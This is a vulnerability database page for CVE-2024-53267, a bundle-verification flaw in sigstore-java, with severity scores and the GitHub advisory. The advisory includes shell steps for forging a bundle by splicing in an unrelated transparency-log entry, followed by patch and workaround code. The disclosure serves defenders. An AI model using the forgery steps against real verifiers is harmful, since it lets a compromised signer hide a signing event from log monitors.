Loading HuntDB...

CVE-2024-53267

MEDIUM
Published 2024-11-26T18:41:29.240Z
Actions:

Expert Analysis

Professional remediation guidance

Get tailored security recommendations from our analyst team for CVE-2024-53267. We'll provide specific mitigation strategies based on your environment and risk profile.

CVSS Score

V3.1
5.5
/10
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
Base Score Metrics
Exploitability: N/A Impact: N/A

EPSS Score

v2025.03.14
0.000
probability
of exploitation in the wild

There is a 0.0% chance that this vulnerability will be exploited in the wild within the next 30 days.

Updated: 2025-06-25
Exploit Probability
Percentile: 0.010
Higher than 1.0% of all CVEs

Attack Vector Metrics

Attack Vector
LOCAL
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED

Impact Metrics

Confidentiality
NONE
Integrity
HIGH
Availability
NONE

Description

sigstore-java is a sigstore java client for interacting with sigstore infrastructure. sigstore-java has insufficient verification for a situation where a validly-signed but "mismatched" bundle is presented as proof of inclusion into a transparency log. This bug impacts clients using any variation of KeylessVerifier.verify(). The verifier may accept a bundle with an unrelated log entry, cryptographically verifying everything but fails to ensure the log entry applies to the artifact in question, thereby "verifying" a bundle without any proof the signing event was logged. This allows the creation of a bundle without fulcio certificate and private key combined with an unrelated but time-correct log entry to fake logging of a signing event. A malicious actor using a compromised identity may want to do this to prevent discovery via rekor's log monitors. The signer's identity will still be available to the verifier. The signature on the bundle must still be on the correct artifact for the verifier to pass. sigstore-gradle-plugin and sigstore-maven-plugin are not affected by this as they only provide signing functionality. This issue has been patched in v1.1.0 release with PR #856. All users are advised to upgrade. There are no known workarounds for this vulnerability.

Available Exploits

No exploits available for this CVE.

Related News

No news articles found for this CVE.

Affected Products

GitHub Security Advisories

Community-driven vulnerability intelligence from GitHub

✓ GitHub Reviewed MODERATE

sigstore-java has vulnerability with bundle verification

GHSA-q4xm-6fjc-5f6w

Advisory Details

### Summary sigstore-java has insufficient verification for a situation where a validly-signed but "mismatched" bundle is presented as proof of inclusion into a transparency log ### Impact This bug impacts clients using any variation of KeylessVerifier.verify() The verifier may accept a bundle with an unrelated log entry, cryptographically verifying everything but fails to ensure the log entry applies to the artifact in question, thereby "verifying" a bundle without any proof the signing event was logged. This allows the creation of a bundle without fulcio certificate and private key combined with an unrelated but time-correct log entry to fake logging of a signing event. A malicious actor using a compromised identity may want to do this to prevent discovery via rekor's log monitors. The signer's identity will still be available to the verifier. The signature on the bundle must still be on the correct artifact for the verifier to pass. sigstore-gradle-plugin and sigstore-maven-plugin are not affected by this as they only provide signing functionality. ### Steps To Reproduce Build the java sigstore-cli at v1.0.0 ```shell git clone --branch v1.0.0 [email protected]:sigstore/sigstore-java cd sigstore-java ./gradlew :sigstore-cli:build tar -xf sigstore-cli/build/distributions/sigstore-cli-1.0.0-SNAPSHOT.tar --strip-components 1 ``` Create two random blobs ```shell dd bs=1 count=50 </dev/urandom > blob1 dd bs=1 count=50 </dev/urandom > blob2 ``` Sign each blob using the cli ```shell ./bin/sigstore-cli sign --bundle=blob1.sigstore.json blob1 ./bin/sigstore-cli sign --bundle=blob2.sigstore.json blob2 ``` Create a falsified bundle including the base64Signature and cert fields from blob1's bundle and the rekorBundle from blob2's bundle ```shell jq --slurpfile bundle2 blob2.sigstore.json '.verificationMaterial.tlogEntries = $bundle2[0].verificationMaterial.tlogEntries' blob1.sigstore.json > invalidBundle.sigstore.json ``` Find the embedded artifact hash in the bundle, and compare to the sha256 sums of blob1 and blob2. See that the bundle tlog entry matches blob2. ```shell cat invalidBundle.sigstore.json | jq -r '.verificationMaterial.tlogEntries[0].canonicalizedBody' | base64 -d | jq -r '.spec.data.hash.value' sha256sum blob1 blob2 ``` Verify the bundle against blob1 ```shell ./bin/sigstore-cli verify --bundle=invalidBundle.sigstore.json blob1 # no errors???! ``` ### Patches Patched in v1.1.0 release with https://github.com/sigstore/sigstore-java/pull/856 Added conformance test for all clients in: https://github.com/sigstore/sigstore-conformance/pull/166 ### Workarounds 1. Verifiers can recreate the log entry and compare it to the provided log entry. ``` var bundle = Bundle.from(bundleFile, StandardCharsets.UTF_8); var rekorEntry = bundle.getEntries().get(0); var calculatedHashedRekord = Base64.toBase64String( HashedRekordRequest.newHashedRekordRequest( artifactDigest, Certificates.toPemBytes(Certificates.getLeaf(bundle.getCertPath())), bundle.getMessageSignature().get().getSignature()) .toJsonPayload() .getBytes(StandardCharsets.UTF_8)); if (!Objects.equals(calculatedHashedRekord, rekorEntry.getBody())) { throw new Exception("Provided verification materials are inconsistent with log entry"); } ``` 2. Verifiers can contact the log and discover if the artifact signing event has indeed been added to the log ```java var bundle = Bundle.from(bundleFile, StandardCharsets.UTF); var artifactDigest = Files.asByteSource(Path.of(artifact).toFile()).hash(Hashing.sha256()).asBytes(); var sigstoreTufClientBuilder = SigstoreTufClient.builder().usePublicGoodInstance(); var trustedRootProvider = TrustedRootProvider.from(sigstoreTufClientBuilder); var entry = RekorEntryFetcher.fromTrustedRoot(trustedRootProvider).getEntryFromRekor(artifactDigest, Certificates.getLeaf(bundle.getCertPath()), bundle.getMessageSignature().get().getSignature()); RekorVerifier.newRekorVerifier(trustedRootProvider.get()).verifyEntry(entry); ```

Affected Packages

Maven dev.sigstore:sigstore-java
ECOSYSTEM: ≥1.0.0 <1.1.0

CVSS Scoring

CVSS Score

5.0

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

Advisory provided by GitHub Security Advisory Database. Published: November 26, 2024, Modified: December 9, 2024

References

Published: 2024-11-26T18:41:29.240Z
Last Modified: 2024-11-26T19:46:41.263Z
Copied to clipboard!